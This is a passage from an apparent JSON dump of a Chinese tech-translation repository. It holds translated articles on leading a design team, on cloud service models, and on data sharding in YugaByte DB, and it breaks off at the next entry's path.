尤其因为我真正的热情在于设计、我最喜欢的其实是创造东西。在我的脑海中，默认情况下，领导一个团队意味着很少有时间来设计/创造一些东西，更多的时间要用来管理人员、以及其他可能需要的大量管理工作。因此「不」就成了自然而然的回答，毕竟，我成为一名设计师，并不是为了整天管理设计师，让他们享受这份乐趣。\n\n几个星期后，她再次问我，她提到了为什么她相信我能做到这一点，并且还给了我一个尝试几个月的机会。由于我要管理的团队规模很小，我决定试一试，看看我是否还有时间去搞设计。\n\n3 个月过去了，幸亏团队规模不大，我还是能挤出时间做设计，当时我甚至还能引领团队的总体方向、并聘请我信任的设计师，所以我的结论是继续领导团队。\n\n我就是这样开始的，尽管我现在仍然非常新手，但在过去的一年里我还是学会了很多，因此我想就这些与你分享，希望你觉得这些有用 —— 倘若你想领导一个设计团队，或者你想知道那需要承担这份责任意味着什么的话。\n\n说完这些，请大家一起看一看我的体会。\n\n## 1. 树立一个目标\n\n![](https://cdn-images-1.medium.com/max/2850/1*PtXDt-EfhsK0gmNZSWf_Mw.jpeg)\n\n我学到的第一件事是，你需要为你的团队指明方向。\n要有一个明确的目标，让他们专注，让他们知道他们应该做什么，以及什么时候做。\n\n这样做将帮助人们了解他们的前进的目标，以及他们应该做些什么来达成目标。想象一下，你带领几个人在一条船上划船，如果他们不知道你要去哪里，你可能会原地打转，一无所获。有了目标，即使它有点模糊，你会让人们朝着正确的方向划桨。最初的目标不够清晰其实没有关系，重要的是当你朝着目标前进时，它会变得越来越清晰。\n\n当你定义你的目标时，最好定义短期内比较现实、长远来看是有远见的目标。人们需要知道他们现在应该做什么，但他们也需要知道最终的梦想是什么，这样他们才可以认真的考虑与对待你设立的目标。\n\n在我看来，作为一个设计主管，你的工作不仅仅是写下你的团队应该做什么，什么时候做，更重要的是你的团队都能做些什么。当需要判断你团队的能力时，你那出色的设计技能，也是非常有意义的。\n\n## 2. 冒进使人落后\n\n![](https://cdn-images-1.medium.com/max/3356/1*4B-RT95ScLfgrxmF5vDdxg.jpeg)\n\n如果你读了[我的上一篇文章](https://uxdesign.cc/7-tips-to-design-faster-ae01c6fa71f2)，你就会知道我完全赞成快速前进，这条建议并不意味着你必须慢慢前进，这只是意味着你应该经历一个正确的设计过程，除非存在一个真正有价值的理由，否则不要跳过任何步骤。「快速失败」的心态并不是一个合理的理由，如果你有办法在小范围内测试一些东西并且避免给你的用户带来困难，你为什么要还要「快速失败」呢？\n\n我的意思是，你不应该因为原型设计可能要花时间就不去做。你需要尽可能多地测试和验证你的设计，这样你就不会因为错误的假设而做出错误的决定，也不会发布一个使用起来很痛苦的产品。\n\n这也意味着你不应该顾着忙其他事而不去参加用户测试，因为没有什么比亲眼看到人们受挫更让人沮丧的了，你看到的不仅仅是一个数字或一个用户名，你看到的是一个人在试图完成一些本该更容易的事情 —— 而这多亏了你出色的设计。在这段时间里，你会学到更多，也会对使用你产品的人产生最大的共鸣。\n\n你不能因为你是领导者就跳过这件事情，我认为一个好的领导者应该以身作则，如果你不把它放在首位，你的团队可能也会有样学样。正因如此，为了正确地驾驭这艘船，你需要从用户测试中获取尽可能多的有价值的观点。而要做到这点，亲自参与是最好的做法。\n\n接下来，不用说，你应该了解用户目前使用的产品版本的所有细节，并且你应该对用户目前使用的产品版本有透彻的了解，这样你就不会忘记他们和他们曾经所遇到的困难。\n\n## 3. 心有梦，方可圆\n\n![](https://cdn-images-1.medium.com/max/3612/1*NDdSrcANlyUnfgiTLSInkA.jpeg)\n\n虽然设计产品时，现实、实际和务实是很好的，但我认为重要的是不要忘记梦想，并鼓励你的团队也这样做。\n\n一个人成为设计师，不是因为他想重用尽可能多的现有组件，也不是因为他想在余生中只是设计 MVP。\n\n因此，我认为保持那种让人成为设计师的激情是非常重要的，并要鼓励他们偶尔 high 一下。因为实现成本高昂或者过于理想化，你的团队提出的某个酷炫想法可能永远不会成为现实，但也许，它还会激励工程师去构建理想与现实兼备的产品，这最终会为你的用户提供更好的体验，而在这之中所构建出来的东西可以为设计团队带来灵感，成为往后构建工作的基础。\n\n我认为梦想很重要的另一个原因是，我十分相信，你被限制束缚之时，就是你停止创新之时。这也是汽车制造商投资设计概念车的原因之一，它不是要设计一辆几个月就能上市的汽车，而是让他们的设计团队（以及全世界）看看未来会是什么样子，这样，他们既能设想如何设计出更现实的东西，同时又朝着未来前进。\n\n## 4. 聆听使人进步\n\n![](https://cdn-images-1.medium.com/max/3226/1*3-tbVsJi04aqAoF-Sp7_kA.jpeg)\n\n「Leader」给人的刻板印象是爱说话的人 —— 他们是指挥者，告诉每个人该做什么。而我完全不是这种人，我认为，一个更好的领导者应该是多听少说的人。\n\n这并不是说你什么都不说，只是说你要认真倾听，鼓励别人参与进来，给出他们的意见，这样你就可以用这些作为弹药来构建你的观点，并做出决定。如果你认真倾听，无论什么时候你说话，你的贡献都会更有意义，产生更大的影响。\n\n作为主管，我认为同样重要的是，你不能根据一个人的资历或在公司的职位来采纳他的观点。如果你正确地建立了你的团队，你就会被有共同目标的聪明人所包围。这并不意味着你要忽视专家的建议，你只需要记住，最终，你不是为这些专家设计的，你是为使用你产品的人设计的，就足够了。你的用户，才是你必须倾听的人。\n\n除了设计之外，倾听还有助于提高团队动力和效率。与你的设计师以及与你的团队有协作的人交谈，问他们什么可以做得更好。你会惊讶地发现，仅仅通过倾听他们的观点，你就能获得一些深刻的见解，即使事情进展得有些顺利，也总会有改进的地方，这是你只需要倾听就能获得的。\n\n## 5. 与团队共同圆梦\n\n![](https://cdn-images-1.medium.com/max/3800/1*p-Eg9h3Y6uPFk4LM7pDSqQ.jpeg)\n\n当你雇佣设计师的时候，你的目标应该是雇佣那些比你更擅长某件事情的人。如果你想要一个好的团队，你就不能害怕雇佣可能接替你工作的人，你甚至最好只雇佣那些能接替你工作的人，因为他们会帮助你前进。\n\n除了他们的技能，你还应该评估他们的性格是否适合你的团队。你需要能够和这个人交流，毕竟你们每天都要在一起工作，所以如果你们不讨厌对方总是好的。\n\n一旦团队成型后，我认为最好的设计工作来自于适当的协作。\n为了鼓励这一点，你需要对你的团队诚实，但也要接受诚实的反馈。你可能需要特定的人员来单独执行部分设计，但是应该将远景和最终结果视为团队的成果。头脑风暴、设计和迭代都应该是作为一个团队进行的，我认为这是让每个人都感到有动力、高效和对最终结果负有同等责任的最好方法，而且，大家的思维碰撞，也是你能从团队中不同的大脑中得到最大收获的方法。\n\n最后但并非最不重要的是，团队规模很重要。我的经验告诉我，小团队总是更好。你手下的人越多，你的沟通渠道就越多，这基本上意味着很有可能会出现误会。\n\n## 6. 看到，才能相信\n\n![](https://cdn-images-1.medium.com/max/2946/1*YxIlHzjYfWlEPeFAOyCMyg.jpeg)\n\n我坚信 show 比 tell 重要。如果你有一个 idea，并且有一个将其展现出来的方法，作为一个设计师，你的工作就是实现它。\n\n一个可见的 demo 不仅给人们提供了一个讨论的起点，而且也能让他们得以一瞥这个 idea 的最终样子。\n\n当你领导着一个团队时，我认为坚持设计是很重要的，这将向你的团队表明，你不仅仅是一个管理者，你是一个非常关心设计的人，更具体地说，你关心的是把你设计的任何项目做成真实的、有形的东西。\n\n这不仅在你的设计团队中很关键，在与其他利益相关者沟通时更是如此。如果你以身作则，希望你的团队能够效仿，这会使你们与其他团队的沟通更加有效。\n\n话虽如此，这一点并不仅仅是让设计可见而已，而是要采取行动，而不是空谈。例如，如果团队成员有一个改进工作流程的想法，如果你相信它，就不要瞻前顾后而不去付诸实践，你要让它成为现实。\n\n人很容易抗拒改变，继续做他所习惯做的事情。但是倘若你从来没有在你的团队给你反馈的时候采取行动，这可能看起来你并不在乎或者不听他们说什么。\n\n**作为一个 Leader，你的工作不仅仅是告诉你的团队去哪里，而且还要给他们表达的空间，支持他们推动自己的想法。（译注：这里是原文中的 Top highlight，故在此标明）**\n\n## 7. 构筑信任，而非高墙\n\n![](https://cdn-images-1.medium.com/max/3626/1*CfQuv9VxRJDJRwmg_wBKdw.jpeg)\n\n虽然显而易见，但我还是要说，你必须相信你的设计师。不要管得太细。你雇佣了某个人，显然是有原因的，所以你要让他们向你展示他们最好的一面。\n\n一群才华横溢的设计师，不会因为你坐在他们身后跟踪他们的进度，或者你确保他们都在早上 8:59 打卡上班，就会更有效率或更有创造力。\n\n每个设计师都是不同的，相信他们的过程。你唯一要做的就是给他们明确的目标，并确保他们可以最终达到目标。\n\n如果他们未能完成目标，你也不应该对其做出更细致的管控，我建议这样做：让他们意识你到他们的期望，并给他们第二次机会，让他们走上正轨。如果他们未能意识到这种期望或仍然没有走上正轨，那么你必须迅速采取行动，否则他们的行为和态度可能会蔓延到团队的其他成员。\n\n最终的目标是拥有一支即使在你不在的时候也能运作的团队。我认为只有当你信任团队的时候，这种情况才会发生。\n\n信任也不仅仅在你的设计团队内，作为 Leader，你必须确保你的团队拥有所有合作团队的信任。\n别忘了往外看，把可能有的墙都拆掉。无论是产品经理、开发、市场营销还是其他任何团队，你的工作都是帮助你的团队构建桥梁，并鼓励协作。\n\n要腾出时间，尽早让他们参与进来，不要等他们来找你，要主动，推动真正的合作。根据我的经验，如果你做得很有效，你不仅会赢得他们的信任，而且有可能在重要的讨论发生时，你也会得到他们的支持。\n\n## 特别建议！\n\n如果你能做到这一步，我有一个额外的建议给你。如果你有点像我，有「创造者」的渴望，甚至偶尔到了「饥渴难耐」的程度，试着在你的日历上规划专门的「设计时间」，我的意思是，不间断的整块时间（2-4 小时）。\n\n如果你不这样做，你的日程表将很容易被会议淹没。你要做好拒绝的准备，因为如果你不保护好你的时间，人们就会试图偷走它 —— 尤其是当你的日程表排得满满的时候。\n\n## 有结论吗？\n\n领导一个团队，你必须学习一些设计师所不需要的技能，但这并不意味着你必须出卖灵魂、彻底改变自己。你只需要进化 —— 特别是因为你已经拥有很多作为设计师的技能，你只需要根据你的新环境进行调整就好了。\n\n最终，你仍然是一个设计师，唯一的不同是，在实现理想的道路上，你不再是一个人，现在你有了可以帮助你扩大影响力、提高前进速度的人。\n\n---\n\n你好，感谢你的阅读🙏\n\n***我叫 José Torre，我只是一个热爱设计的葡萄牙人。***\n\n¯\\ _(ツ)_/¯\n\n**如果你想聊聊或只是想看看我在做什么，你可以在 [Twitter](https://twitter.com/zecarlostorre)、[LinkedIn](https://www.linkedin.com/in/josé-torre-3979b821/)、甚至 [Instagram](https://www.instagram.com/sketchyminute/) 上找到我。**\n\n**别忘了…**\n\n🎶 **如果你喜欢这篇文章并且学到了什么，请为我鼓掌吧！** 👏👏\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-can-cloud-services-help-improve-your-businessess-efficiency.md",
    "content": "> * 原文地址：[How Can Cloud Services Help Improve Your Businesses’s Efficiency?](https://medium.com/better-programming/how-can-cloud-services-help-improve-your-businessess-efficiency-ea3fb038948e)\n> * 原文作者：[SeattleDataGuy](https://medium.com/@SeattleDataGuy)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-can-cloud-services-help-improve-your-businessess-efficiency.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-can-cloud-services-help-improve-your-businessess-efficiency.md)\n> * 译者：[Roc](https://github.com/QinRoc)\n> * 校对者：[GPH](https://github.com/PingHGao)，[Yinjia](https://github.com/yvonneit)\n\n# 云服务如何帮助你提高业务效率？\n\n![Photo by [Uwe Hensel](https://unsplash.com/@sonnar_mc?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/skyscraper-crane?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)](https://cdn-images-1.medium.com/max/5000/1*qryfe9oN-vJx75kLCWlYDQ.jpeg)\n\n> 了解 IaaS，SaaS，PaaS 和 FaaS\n\n在 20 世纪，企业依靠内部机房里的服务器和计算机开展业务。\n\n这意味着，当需要启用新的服务器时，要耗费数周乃至数月的时间才能把一切准备就绪。从批准预算、下订单、运输服务器，直到安装 —— 这是一个漫长而艰巨的过程。\n\n但是时代已经改变，企业应该在现场配置价值百万美金的服务器的观念已经被云计算服务改变。\n\n简而言之，云计算是一个远程服务，通常能够提供基础设施、软件、存储、平台和许多其他形式的服务。\n\n## 为什么企业会购买 AWS 和 Azure 这样的云计算服务呢？\n\n云计算所提供的多种服务不仅能降低企业的硬件成本，还能降低企业的人力成本。现在 1 到 2 个 开发者就可以完成大部分曾经需要一整个团队的工程师才能完成的工作。\n\n由于种类繁多，要了解所有可能的云服务类型是很困难的 —— 让我们来看看目前有什么可用的云服务类型吧。\n\n## 云计算服务类型\n\n#### IaaS 是什么？\n\nIaaS，是 Infrastructure-as-a-Service（基础设施即服务）的简称。这种服务模式提供大量的虚拟或物理的基础设施，[包括服务器、网络、数据中心、虚拟机管理程序层，甚至虚拟化](https://www.theseattledataguy.com/5-aws-technologies-thatll-make-your-life-easier/)。\n\n通常，这个服务也包括对基础设施和弹性存储的管理。通过 IaaS，企业可以安装操作系统，部署他们的[数据库](https://www.theseattledataguy.com/big-data-bigger-results-data-driven-solutions-for-company/)，拥有不断变更存储容量或者运行环境的灵活性。只要你觉得方便，按月、按小时或者按周支付，哪种都可以。\n\nIaaS 是[云计算领域](https://logitanalytics.com/what-are-the-different-kinds-of-cloud-computing-services/)的基础服务提供方式之一。它允许企业通过第三方云计算服务提供商来访问互联网上的存储空间、网络、服务器和其他东西。IaaS 允许组织创建足以满足他们业务需求的 IT 环境。\n\n##### 真实案例\n\n一些最受欢迎的 IaaS 案例包括类似 AWS 的 EC2 或 RDS 的产品。这些服务让你能很简单地就启动一台 Linux 服务器或者一个数据库，并且可以根据你的需要进行扩展。你不再需要获取一台新的服务器，只需要在 AWS 上点击创建按钮就可以了。除此以外，AWS 工作区能够让企业在一个虚拟私有云网络中启动虚拟的台式机，这种方式让安全管理和远程工作更简单了。\n\n##### 不需要买一台计算机\n\n初创企业和小公司特意使用 IaaS 来工作以避免在软硬件上花费过多。他们需要 IaaS 的可扩展性，而 Google 这样的服务提供商很擅长做这个。实际上，你可以通过一个简单的链接来访问一个中央表，然后在上面交换日常文档。\n\n#### SaaS 是什么？\n\nSaaS 是 Software-as-a-Service（软件即服务）的简称。它是一种软件分发模型，可以在线托管应用程序，并且让消费者可以访问。你只需要一个互联网连接和一个浏览器就能使用这些应用程序。\n\nSaaS 最大的好处在于它提供的网页分发模型能彻底终结需要由一个 IT 员工来安装或下载应用到每台计算机上的情况。例如，我经常使用 Google 文档，它提供的在线存储可以在任何地点、任何设备上进行访问，并且拥有自动保存选项，这两点特性很好地帮助了我。\n\n此外，供应商负责处理技术问题，这让 SaaS 用户更方便地使用应用。\n\n##### 真实案例\n\n一些最受欢迎的 SaaS 提供商包括 Google GSuite、Salesforce、Dropbox 和 SAP Concur。SaaS 最好的例子是 Gmail，一个在线邮件服务，它让你从任何设备上都可以访问到 Google 托管的文件和应用。在任何有互联网连接的地方，你都能使用产品，而不需要下载软件或者使用产品密钥。这种能力让员工们在任何地方都有很高的生产力。\n\n#### PaaS 是什么？\n\nPaaS 是 Platform-as-a-Service（平台即服务）的简称。这种云服务模式分发软件和硬件工具，使得消费者能够开发、运行并且测试他们的应用程序。使用 PaaS 的最大优势之一是它可以简单地迁移到混合模型。\n\nPaaS 类似于 SaaS，然而，PaaS 提供一个在线创造软件的平台，而不是像 SaaS 那样通过互联网分发软件。这一点让创建网站和应用更简单。\n\n通常，PaaS 给开发者们提供一个框架，使得他们能够在不需担心基础设施的情况下创建自定义的应用程序。PaaS 专为那些能够在线设计并管理应用程序的开发者服务。这些应用程序往往具有高度的可伸缩性，并且始终可用。\n\n##### 真实案例\n\n一些最受欢迎的 PaaS 服务提供商包括 OpenShift，AWS Beantalk，Google App Engine 和 Windows Azure。以 OpenShift 为例，它包括 Linux 操作系统、网络、注册、监控、授权和容器运行方案，所以消费者可以使用 OpenShift 为自己的企业开发人员搭建基础设施。\n\n#### FaaS 是什么？\n\nFaaS 是 Function-as-a-Service（功能即服务）的简称。这类云服务为开发者提供运行和管理应用的功能的平台，让他们不需要担心基础设施或者应用开发相关的复杂问题。\n\nFaaS 最大的好处是它提供无服务器计算，这点让开发者可以直接把他们的生产代码部署到网络上，而不需要为计算资源的规划、供应或维护发愁。\n\n##### 真实案例\n\nFaaS 最受欢迎的案例有 Amazon Lambda、Microsoft Azure Function、IBM Cloud Functions 和 Google Cloud Functions。以 Lambda 为例，它可以按需执行代码，并且根据需求来自动伸缩每天的请求。因此，将它和 API 网关结合使用，可以很方便地生成一个最佳解决方案。\n\n## 结论\n\n云计算可以帮助一家企业快速扩展他们的 IT 解决方案。它可以提供一个成熟的平台，来管理存储、服务器和虚拟桌面。在诸如 IaaS、PaaS、SaaS 和 FaaS 的云计算服务的帮助下，你的公司可以使用虚拟基础设施来管理其 IT 相关业务。\n\n不仅如此，这种虚拟化技术也让企业更容易降低成本并更好地处理分析业务。\n\n云计算就是要简化技术流程。如果你所在的企业或者部门还没有开始使用云计算相关服务，那么最好就从现在开始吧，不要和当前的市场脱节了。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-data-sharding-works-in-a-distributed-sql-database.md",
    "content": "> * 原文地址：[How Data Sharding Works in a Distributed SQL Database](https://blog.yugabyte.com/how-data-sharding-works-in-a-distributed-sql-database/)\n> * 原文作者：[Sid Choudhury](https://blog.yugabyte.com/author/sidchoudhury/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-data-sharding-works-in-a-distributed-sql-database.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-data-sharding-works-in-a-distributed-sql-database.md)\n> * 译者：[Ultrasteve](https://github.com/Ultrasteve)\n> * 校对者：[JaneLdq](https://github.com/JaneLdq), [JackEggie](https://github.com/JackEggie)\n\n# 数据分片是如何在分布式 SQL 数据库中起作用的\n\n如今，所有规模的企业都在拥抱用户导向应用的高速现代化，以此作为它们更广阔的数字转型策略中的一部分。因此，这些应用所依赖的 RDBMS（关系型数据库基础设施），如今就需要支持更大的数据量和事务量。然而，在这种场景中，一个单体 RDBMS 通常很快会达到过载状态。数据分片是用于解决这种问题的其中一种最为普遍的架构，它能够使 RDBMS 得到更好的性能和更高的扩展性。在这篇文章中，我们会探讨什么是分片、如何使用分片来扩展数据库、以及几种常见分片架构的优劣。我们还会探索在分布式 SQL 数据库中，例如 [YugaByte DB](https://github.com/YugaByte/yugabyte-db) 是如何实现数据分片的。 \n\n## 数据分片到底是什么？\n\n分片是一种把大表切分成**数据分片**的过程，分割后的数据块会分布在多个服务器中。**数据分片**必须是水平切分的，各个分片是整个数据集的子集，它们各自负责总体工作量的一部分。这种方法的中心思想，便是将原本难以放在单体中的庞大数据，分散到一个**数据库集群**中。分片也称为**水平切分**，水平切分和垂直切分的区别来自于传统的表式数据库。一个数据库可以被垂直切分（把表中不同的列分散在数据库中），也可以被水平切分（把不同的行分散到多个数据库节点中）。\n\n![](https://3lr6t13cowm230cj0q42yphj-wpengine.netdna-ssl.com/wp-content/uploads/2019/06/data-sharding-distributed-sql-1.png)\n\n**图一：垂直切分与水平切分（来源：Medium）**\n\n## 为什么要对数据库进行分片？\n\n随着业务规模的扩大，依赖单体 RDBMS 的商业应用会达到性能瓶颈。受到 CPU 性能，辅存和主存的大小的限制，数据库的性能总有一天会遭殃。在一个未分片的数据库中，读操作的响应及日常运维的速度会变得极度缓慢。当我们想要为数据库操作提供更多运行资源时，垂直扩张（又称作扩容）存在一系列缺陷，最终会达到得不偿失的地步。\n\n从另一方面来看，对表格进行水平切分意味着拥有更多的计算资源去应对查询请求，你会得到更短的响应时间并能够更快地创建索引。分片通过持续的平衡额外节点之间的数据量和工作量，能在扩张中更有效地利用新资源。不仅如此，维护一组更小更廉价的服务器比维护一个大型的服务器要实惠的多。\n\n除了解决扩展性的问题，分片还可以应对潜在的意外宕机问题。当一个未分片的服务器宕机时，所有的数据都将变得不可访问，这将是一个灾难。然而分片能够很好的解决这个问题。即使一两个节点宕掉，还存在其他保留着剩下分片的节点，只要它们在不同的出错域，便仍然能够提供数据读写服务。总的来说，分片可以提升集群的存储容量，缩短处理时间，并在相对于垂直扩展消耗更少资金的情况下，提供更高的可用性。\n\n## 手动分片的隐患\n\n对于大数据量的应用来说，在包含一系列建表和负载均衡的分片中进行全自动化部署将会获得巨大收益。不幸的是，像 Oracle、PostgreSQL 和 MySQL 这些单体数据库，甚至一些更新的分布式 SQL 数据库，如 Amazon Aurora，并不支持自动分片。这意味着如果你想继续使用这些数据库，你必须在应用层进行手动分片。这大大增加了开发的难度。为了知道你的数据是如何分配的，你的应用需要一套额外的分片代码，并需要知道数据的来源。你还需要决定采用什么分片方法，最终需要多少分片，并需要多少个节点。一旦你的业务改变了，分片方式和分片主键也要随之变化。\n\n手动分片的其中一个重大挑战便是不平均的分片。不成比例的分配数据将导致分片变得不平衡，这意味着当一些节点过载时其他节点可能是空闲的。因为部分节点的过载可能会拖累整体的响应速度并导致服务崩溃，我们要尽量避免在一个分片中存入过多的数据。这个问题也有可能在一个小的分片集中发生，因为小的分片集意味着将数据分散到极少数量的分片中。这虽然在开发环境和测试环境中是可以接受的，但生产环境中是不允许的。不平均的数据分配，部分节点过载和过少的数据分配都会导致分片和服务资源的枯竭。\n\n最后，手动分片会使操作过程复杂化。现在需要在多个服务器中进行备份了。为了保证所有分片都有相同的结构，数据迁移和表结构的变化现在需要更小心的进行协调。在缺乏足够优化的情况下，在多个服务器中进行数据库 join 操作会变得不高效和难以执行。\n\n## 常用的自动分片架构\n\n分片由来已久，这么多年来发展了许多用于部署在大范围的系统中的分片架构和实现。在这一节中，我们会讨论三种最常见的实现方式。\n\n### 基于哈希的分片\n\n基于哈希的分片使用分片主键来产生一些哈希值，这些哈希值将被用于决定这一条数据存储在哪里。通过使用一个通用的哈希算法 ketama，哈希函数能够在服务器间平均的分摊数据，以此来减少部分节点的过载。在这种方法里，那些分片主键相近的数据不太可能会被分配在同一个分片中。这个架构因此十分适用于目标明确的数据操作。\n\n![](https://3lr6t13cowm230cj0q42yphj-wpengine.netdna-ssl.com/wp-content/uploads/2019/06/data-sharding-distributed-sql-2.png)\n\n**图二：基于哈希的分片（来源：MongoDB 文档）**\n\n### 基于范围的分片\n\n基于范围的分片，参照数据值的范围来分割数据。分片主键值相近的数据更容易落到同一个范围中，因此也更容易落到同一个分片中。每个分片都必须保存与原数据库相同的结构。数据分片将变得十分简单，正如辨别数据正确范围并放到相应的分片中一样容易。\n\n![](https://3lr6t13cowm230cj0q42yphj-wpengine.netdna-ssl.com/wp-content/uploads/2019/06/Sharding-Image-copy.jpg)\n\n**图三：基于范围的分片**\n\n基于范围的分片能让读取连续范围内的数据，或范围查询变得更加高效。然而这种分片方式需要用户事先选择分片主键，如果分片主键选的不好，可能会导致部分节点过载。\n\n一个好的原则就是选择那些基数更大重复率更低的键作为分片主键，这些键通常十分稳定，不会增加和减少，是无变化的。如果没有正确的选择分片主键，数据会不均等的分配在分片中，特定的数据会比其他数据的访问频率更高，这让那些工作量较大的分片产生瓶颈。\n\n解决不均等分片的理想方法是进行归并和自动化分片。如果分片变得过大或者其中的某一行被频繁的访问，那么最好就将这个大的分片再进行更细的分片，并将这些小的分片重新平均的分配到各个节点中。同样的，当小分片过多的时候，我们可以做相反的事情。\n\n### 基于地理位置的分片\n\n在基于地理位置的分片中，数据会按照那些用户个性化的列（列中的值和地理位置有关）来进行分片，不同的分片被分配到对应的区域中。例如，有一个部署在美国，英国和欧洲的集群，我们可以根据用户表中的 Country_Code 这一列的值，并依照 GDPR（通用数据保护条例）来将分片放到合适的位置。\n\n## YugaByte DB 中的分片\n\nYugaByte DB 是一个具备自动分片功能和高度弹性的高性能分布式 SQL 数据库，它由 Google Spanner 开发。它目前默认支持基于哈希的分片方式。它是一个活跃更新的项目，而基于地理位置和基于范围的分片功能将在今年年尾加入。在 YugaByte DB 中每一个数据分片被称作子表（tablet），它们被分配在相应的子表服务器中。\n\n### 基于哈希的分片\n\n对于基于哈希的分片，表被分配在 0x0000 到 0xFFFF （总共 2B 的范围中）的哈希空间中，它在很大的数据集或集群中容纳了大约 64KB 的子表。我们来看看图四中有 16 个分片子表的表。这里用到整一个 2B 大小的哈希空间来容纳分片，并将它分成16个部分，每个部分对应一个子表。\n\n![](https://3lr6t13cowm230cj0q42yphj-wpengine.netdna-ssl.com/wp-content/uploads/2019/06/data-sharding-distributed-sql-4.png)\n\n**图四：在 YugaByte DB 基于哈希分片**\n\n在读写操作中，主键是最先被转化成内键和它们对应的哈希值。这个操作通过收集可用子表中的数据来实现。（图五）\n\n![](https://3lr6t13cowm230cj0q42yphj-wpengine.netdna-ssl.com/wp-content/uploads/2019/06/data-sharding-distributed-sql-5.png)\n\n**图五：在 Yugabyte DB 决定使用哪个子表**\n\n例如，如图六所示，你现在想在表中插入一个键 k，值为 v 的数据。首先会根据键的值 k 来计算出一个哈希值，之后数据库会查询对应的子表和子表服务器。最后，这个请求会被直接传到相应的服务器中进行处理。\n\n![](https://3lr6t13cowm230cj0q42yphj-wpengine.netdna-ssl.com/wp-content/uploads/2019/06/data-sharding-distributed-sql-6.png)\n\n**图六：在 YugaByte DB 中存储 k 值**\n\n### 基于范围的分片\n\nSQL 表可以在主键的第一列中设置自动递增和自动递减。这让数据能够按照预先选择的顺序存储在单个分片（即子表）中。目前，项目组正在开发[动态分割子表](https://github.com/YugaByte/yugabyte-db/issues/1004)（基于多种标准，如范围边界和负载），和用于明确指明特定范围的[增强SQL语法](https://github.com/YugaByte/yugabyte-db/issues/1486)这些功能。\n\n## 总结\n\n数据分片是一种在商业应用中用于建设大型数据集和满足扩展性需求的解决方案。目前有许多数据分片架构供我们选择，每一种都提供了不同的功能。在决定用哪一种架构之前，我们需要清晰的列出你的项目需求和预期负载量。由于会显著的增加应用逻辑的复杂度，我们应该在绝大部分情况下尽量避免手动分片。[YugaByte DB](https://github.com/YugaByte/yugabyte-db) 是一种具备自动分片功能的分布式 SQL 数据库，它目前支持基于哈希的分片，而基于范围和基于地理位置的分片功能将很快能够用到。你可以查看这个[教程](https://docs.yugabyte.com/latest/explore/auto-sharding/)来学习 YugaByte DB 的自动分片功能。\n\n## 下一步？\n\n* [深入比较](https://docs.yugabyte.com/latest/comparisons/) YugaByte DB 和 [CockroachDB](https://www.yugabyte.com/yugabyte-db-vs-cockroachdb/)，Google Cloud Spanner 与 MongoDB 的不同之处。\n* [开始](https://docs.yugabyte.com/latest/quick-start/)使用 YugaByte DB，在 macOS，Linux，Docker 和 Kubernetes 中使用它。\n* [联系我们](https://www.yugabyte.com/about/contact/)了解证书及收费问题或预约一个技术面谈。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 \n"
  },
  {
    "path": "TODO1/how-discord-renders-rich-messages-on-the-android-app.md",
